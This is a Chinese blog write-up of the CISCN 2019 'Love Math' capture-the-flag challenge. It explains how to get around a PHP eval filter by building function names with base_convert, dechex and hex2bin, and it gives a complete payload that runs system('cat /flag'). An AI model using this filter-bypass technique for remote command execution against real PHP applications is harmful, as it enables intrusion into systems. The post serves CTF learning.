首页 > 其他分享 >[CISCN 2019 初赛]Love Math

[CISCN 2019 初赛]Love Math

时间:2024-07-07 14:08:26浏览次数:16  
标签:10 convert Love 进制 system 初赛 base pi Math

进入题目,直接源码
代码审计、
image

看师傅wp有黑名单字符过滤,有白名单函数过滤
于是用编码绕过,利用eval函数执行命令,system('cat /flag.txt')
base_convert(a,b,c) //将数值a按b进制转换为c进制
dechex //将10进制转成16进制
hex2bin() //16进制转成字符串 base_convert(37907361743,10,36)=hex2bin(36进制)
[]-->{}
php中执行函数可以把函数名通过字符串的方式传递给一个变量
如system(‘ls’);
可以换成
$a='system';
$a('ls');
变量名为白名单里的
于是payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
image

标签:10,convert,Love,进制,system,初赛,base,pi,Math
From: https://www.cnblogs.com/v3n0m-cccccc/p/18288449

相关文章

  • 历年CSP-J初赛真题解析 | 2018年CSP-J初赛选择题(1-15)
    学习C++从娃娃抓起!记录下CSP-J备考学习过程中的题目,记录每一个瞬间。附上汇总贴:历年CSP-J初赛真题解析|汇总_热爱编程的通信人的博客-CSDN博客第1题以下哪一种设备属于输出设备()A.扫描仪B.键盘C.鼠标D.打印机【答案】:D【解析】A、B、C都是输入设备第2题下列......
  • C. Qingshan Loves Strings 2
    原题链接题解1.当10个数不一致时,无论怎样都不成立2.当01个数一致时,是否一定存在某种方法使得成立呢?3.对于长度为\(k\)的字符串\(s\),若不合法,那我在旁边添加一个01,则我们可以连续删除两边的配对数字,且至少能删除一对,且经过若干轮的删除一定能使字符串长度减小总的来说,我们......
  • 【AKS+Redis】AKS中客户端(ioredis)遇见Azure Redis服务Failover后链接中断的可能性
    问题描述在AKS中连接Redis,当遇到AzureRedis升级或者Failover时,NodeJS应用中使用ioredissdk在很长一段时间内无法恢复和AzureRedis服务端的连接,对于这种想象的可能性推断。 问题解答使用AzureCacheforRedis时,一个服务器是主节点,另一个服务器是副本。主节点通常负......
  • 【信息学奥赛】CSP-J/S初赛05 计算机原码、补码和反码
    本专栏......
  • 信息学奥赛初赛天天练-41-CSP-J2021基础题-n个数取最大、树的边数、递归、递推、深度
    PDF文档公众号回复关键字:202407012021CSP-J选择题单项选择题(共15题,每题2分,共计30分:每题有且仅有一个正确选项)4.以比较作为基本运算,在N个数中找出最大数,最坏情况下所需要的最少比较次数为A.N^2B.NC.N-1D.N+16.对于有n个顶点、m条边的无向连通图(m>n),需要删......
  • Mpmath库-学习笔记
    目录1.Introduction1.2Basicusageofmpmath1.3输出格式化1.4输出的小数点位数2.BASICFEATURES2.1Arbitrary-precisionfloating-point(mp)2.2Arbitrary-precisionintervalarithmetic(iv)2.3Double-precisionarithmeticusingPython’sbuiltinfloatandcomple......
  • 一些多项式问题的 $\mathsf{AC^0}$ 电路
    这是对RobertAndrews和AviWigderson最近的一篇预印本,Constant-DepthArithmeticCircuitsforLinearAlgebraProblems的解读.这里的电路指的是代数电路,代数意义的\(\mathsf{AC^0}\)就是多项式大小的常数层电路,每个门都是乘法或加法,同时可以有任意多个输入.大......
  • manim边学边做--SingleStringMathTex
    SingleStringMathTex是Mobjects分类中用来显示数学公式的class。manim中有3个可以用来显示数学公式的class,还有两个是MathTex和Tex,后续再介绍。从SingleStringMathTex的名称中也可以看出,它是用来显示只有一行的简单公式。SingleStringMathTex在manim各个模块中的位置大致如上图中......
  • 黑盾杯本科组初赛2024
    就出了misc和crypto,其他方向是一个没出啊啊啊啊锐评:sb密码crypto学会sm我的进制我做主直接-'a'输出看一下,只有0-17,猜测18进制a="ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgccndcfqfpgcgofofpdadadagr"b=[]c=set()foriina:x=ord(i)-ord('a')c.add(x)b......
  • 数学公式编辑器工具MathType2024永久免费试用版本下载
    ......